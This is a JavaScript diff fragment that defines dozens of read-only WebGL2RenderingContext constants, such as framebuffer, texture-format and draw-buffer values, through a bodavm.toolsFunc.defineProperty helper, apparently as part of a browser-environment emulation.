+bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_UNSUPPORTED", { + configurable: false, + enumerable: true, + writable: false, + value: 36061 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36006 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36007 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_RENDERBUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34024 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_FRAMEBUFFER_OPERATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1286 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_FLIP_Y_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37440 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37441 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONTEXT_LOST_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37442 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37443 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BROWSER_DEFAULT_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37444 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 3074 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_ROW_LENGTH", { + configurable: false, + enumerable: true, + writable: false, + value: 3314 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_ROWS", { + configurable: false, + enumerable: true, + writable: false, + value: 3315 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_PIXELS", { + configurable: false, + enumerable: true, + writable: false, + value: 3316 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_ROW_LENGTH", { + configurable: false, + enumerable: true, + writable: false, + value: 3330 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_SKIP_ROWS", { + configurable: false, + enumerable: true, + writable: false, + value: 3331 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_SKIP_PIXELS", { + configurable: false, + enumerable: true, + writable: false, + value: 3332 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 6144 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH", { + configurable: false, + enumerable: true, + writable: false, + value: 6145 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL", { + configurable: false, + enumerable: true, + writable: false, + value: 6146 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED", { + configurable: false, + enumerable: true, + writable: false, + value: 6403 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8", { + configurable: false, + enumerable: true, + writable: false, + value: 32849 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8", { + configurable: false, + enumerable: true, + writable: false, + value: 32856 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB10_A2", { + configurable: false, + enumerable: true, + writable: false, + value: 32857 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 32874 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_IMAGES", { + configurable: false, + enumerable: true, + writable: false, + value: 32877 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_IMAGE_HEIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 32878 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 32879 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_R", { + configurable: false, + enumerable: true, + writable: false, + value: 32882 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_3D_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 32883 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_2_10_10_10_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 33640 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENTS_VERTICES", { + configurable: false, + enumerable: true, + writable: false, + value: 33000 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENTS_INDICES", { + configurable: false, + enumerable: true, + writable: false, + value: 33001 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MIN_LOD", { + configurable: false, + enumerable: true, + writable: false, + value: 33082 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAX_LOD", { + configurable: false, + enumerable: true, + writable: false, + value: 33083 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BASE_LEVEL", { + configurable: false, + enumerable: true, + writable: false, + value: 33084 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAX_LEVEL", { + configurable: false, + enumerable: true, + writable: false, + value: 33085 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIN", { + configurable: false, + enumerable: true, + writable: false, + value: 32775 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX", { + configurable: false, + enumerable: true, + writable: false, + value: 32776 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT24", { + configurable: false, + enumerable: true, + writable: false, + value: 33190 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_LOD_BIAS", { + configurable: false, + enumerable: true, + writable: false, + value: 34045 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_COMPARE_MODE", { + configurable: false, + enumerable: true, + writable: false, + value: 34892 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_COMPARE_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 34893 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_QUERY", { + configurable: false, + enumerable: true, + writable: false, + value: 34917 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "QUERY_RESULT", { + configurable: false, + enumerable: true, + writable: false, + value: 34918 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "QUERY_RESULT_AVAILABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 34919 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_READ", { + configurable: false, + enumerable: true, + writable: false, + value: 35041 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_COPY", { + configurable: false, + enumerable: true, + writable: false, + value: 35042 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_READ", { + configurable: false, + enumerable: true, + writable: false, + value: 35045 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_COPY", { + configurable: false, + enumerable: true, + writable: false, + value: 35046 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_READ", { + configurable: false, + enumerable: true, + writable: false, + value: 35049 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_COPY", { + configurable: false, + enumerable: true, + writable: false, + value: 35050 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_DRAW_BUFFERS", { + configurable: false, + enumerable: true, + writable: false, + value: 34852 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER0", { + configurable: false, + enumerable: true, + writable: false, + value: 34853 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER1", { + configurable: false, + enumerable: true, + writable: false, + value: 34854 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER2", { + configurable: false, + enumerable: true, + writable: false, + value: 34855 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER3", { + configurable: false, + enumerable: true, + writable: false, + value: 34856 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER4", { + configurable: false, + enumerable: true, + writable: false, + value: 34857 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER5", { + configurable: false, + enumerable: true, + writable: false, + value: 34858 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER6", { + configurable: false, + enumerable: true, + writable: false, + value: 34859 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER7", { + configurable: false, + enumerable: true, + writable: false, + value: 34860 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER8", { + configurable: false, + enumerable: true, + writable: false, + value: 34861 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER9", { + configurable: false, + enumerable: true, + writable: false, + value: 34862 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER10", { + configurable: false, + enumerable: true, + writable: false, + value: 34863 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER11", { + configurable: false, + enumerable: true, + writable: false, + value: 34864 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER12", { + configurable: false, + enumerable: true, + writable: false, + value: 34865 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER13", { + configurable: false, + enumerable: true, + writable: false, + value: 34866 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER14", { + configurable: false, + enumerable: true, + writable: false, + value: 34867 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER15", { + configurable: false, + enumerable: true, + writable: false, + value: 34868 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35657 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35658 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 35679 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_SHADOW", { + configurable: false, + enumerable: true, + writable: false, + value: 35682 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAGMENT_SHADER_DERIVATIVE_HINT", { + configurable: false, + enumerable: true, + writable: false, + value: 35723 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_PACK_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 35051 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_UNPACK_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 35052 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_PACK_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35053 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_UNPACK_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35055 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2x3", { + configurable: false, + enumerable: true, + writable: false, + value: 35685 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2x4", { + configurable: false, + enumerable: true, + writable: false, + value: 35686 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3x2", { + configurable: false, + enumerable: true, + writable: false, + value: 35687 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3x4", { + configurable: false, + enumerable: true, + writable: false, + value: 35688 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4x2", { + configurable: false, + enumerable: true, + writable: false, + value: 35689 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4x3", { + configurable: false, + enumerable: true, + writable: false, + value: 35690 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB", { + configurable: false, + enumerable: true, + writable: false, + value: 35904 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB8", { + configurable: false, + enumerable: true, + writable: false, + value: 35905 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB8_ALPHA8", { + configurable: false, + enumerable: true, + writable: false, + value: 35907 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPARE_REF_TO_TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 34894 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32F", { + configurable: false, + enumerable: true, + writable: false, + value: 34836 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32F", { + configurable: false, + enumerable: true, + writable: false, + value: 34837 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16F", { + configurable: false, + enumerable: true, + writable: false, + value: 34842 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16F", { + configurable: false, + enumerable: true, + writable: false, + value: 34843 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 35069 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ARRAY_TEXTURE_LAYERS", { + configurable: false, + enumerable: true, + writable: false, + value: 35071 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIN_PROGRAM_TEXEL_OFFSET", { + configurable: false, + enumerable: true, + writable: false, + value: 35076 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_PROGRAM_TEXEL_OFFSET", { + configurable: false, + enumerable: true, + writable: false, + value: 35077 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VARYING_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35659 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 35866 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 35869 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R11F_G11F_B10F", { + configurable: false, + enumerable: true, + writable: false, + value: 35898 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_10F_11F_11F_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 35899 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB9_E5", { + configurable: false, + enumerable: true, + writable: false, + value: 35901 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_5_9_9_9_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 35902 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_MODE", { + configurable: false, + enumerable: true, + writable: false, + value: 35967 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35968 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_VARYINGS", { + configurable: false, + enumerable: true, + writable: false, + value: 35971 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_START", { + configurable: false, + enumerable: true, + writable: false, + value: 35972 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35973 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN", { + configurable: false, + enumerable: true, + writable: false, + value: 35976 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RASTERIZER_DISCARD", { + configurable: false, + enumerable: true, + writable: false, + value: 35977 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35978 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 35979 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INTERLEAVED_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 35980 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SEPARATE_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 35981 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 35982 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35983 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36208 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36209 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36214 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36215 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36220 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36221 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32I", { + configurable: false, + enumerable: true, + writable: false, + value: 36226 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32I", { + configurable: false, + enumerable: true, + writable: false, + value: 36227 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16I", { + configurable: false, + enumerable: true, + writable: false, + value: 36232 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16I", { + configurable: false, + enumerable: true, + writable: false, + value: 36233 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8I", { + configurable: false, + enumerable: true, + writable: false, + value: 36238 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8I", { + configurable: false, + enumerable: true, + writable: false, + value: 36239 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 36244 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 36248 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 36249 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 36289 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_ARRAY_SHADOW", { + configurable: false, + enumerable: true, + writable: false, + value: 36292 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_CUBE_SHADOW", { + configurable: false, + enumerable: true, + writable: false, + value: 36293 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 36294 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 36295 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 36296 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 36298 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 36299 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_CUBE", { + configurable: false, + enumerable: true, + writable: false, + value: 36300 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 36303 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 36306 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 36307 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_CUBE", { + configurable: false, + enumerable: true, + writable: false, + value: 36308 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 36311 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT32F", { + configurable: false, + enumerable: true, + writable: false, + value: 36012 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH32F_STENCIL8", { + configurable: false, + enumerable: true, + writable: false, + value: 36013 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_32_UNSIGNED_INT_24_8_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 36269 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING", { + configurable: false, + enumerable: true, + writable: false, + value: 33296 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 33297 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_RED_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33298 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_GREEN_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33299 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_BLUE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33300 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33301 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33302 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33303 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_DEFAULT", { + configurable: false, + enumerable: true, + writable: false, + value: 33304 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_24_8", { + configurable: false, + enumerable: true, + writable: false, + value: 34042 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH24_STENCIL8", { + configurable: false, + enumerable: true, + writable: false, + value: 35056 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_NORMALIZED", { + configurable: false, + enumerable: true, + writable: false, + value: 35863 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_FRAMEBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36006 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_FRAMEBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36008 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_FRAMEBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36009 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_FRAMEBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36010 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_SAMPLES", { + configurable: false, + enumerable: true, + writable: false, + value: 36011 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER", { + configurable: false, + enumerable: true, + writable: false, + value: 36052 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COLOR_ATTACHMENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 36063 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT1", { + configurable: false, + enumerable: true, + writable: false, + value: 36065 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT2", { + configurable: false, + enumerable: true, + writable: false, + value: 36066 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT3", { + configurable: false, + enumerable: true, + writable: false, + value: 36067 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT4", { + configurable: false, + enumerable: true, + writable: false, + value: 36068 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT5", { + configurable: false, + enumerable: true, + writable: false, + value: 36069 +}, 'prototype'); 